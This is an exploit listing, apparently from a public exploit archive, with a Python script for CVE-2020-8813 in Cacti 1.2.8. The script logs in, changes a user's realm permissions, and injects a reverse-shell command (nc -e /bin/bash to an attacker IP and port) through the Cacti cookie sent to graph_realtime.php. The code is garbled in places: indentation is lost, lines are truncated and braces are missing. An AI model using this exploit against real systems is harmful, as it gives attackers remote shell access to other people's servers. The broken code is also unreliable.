Cacti 1.2.8 Authenticated Remote Code Execution

Cacti version 1.2.8 suffers from an authenticated remote code execution vulnerability.

MD5 | 3131b5c154b2f3713e2859a12a1e81ad


# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage:
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) != 6:
print("[~] Usage : ./ url username password ip port")

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
login_request ="/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
return True

def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
enable_request ="/user_admin.php?header=false", request_info)
if enable_request:
return True
return False

def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
print("[-]Error while activating the malicous account")

print("[-] Unable to retrieve CSRF token from admin page!")

print("[-]Cannot Login!")
print("[-] Unable to retrieve CSRF token!")

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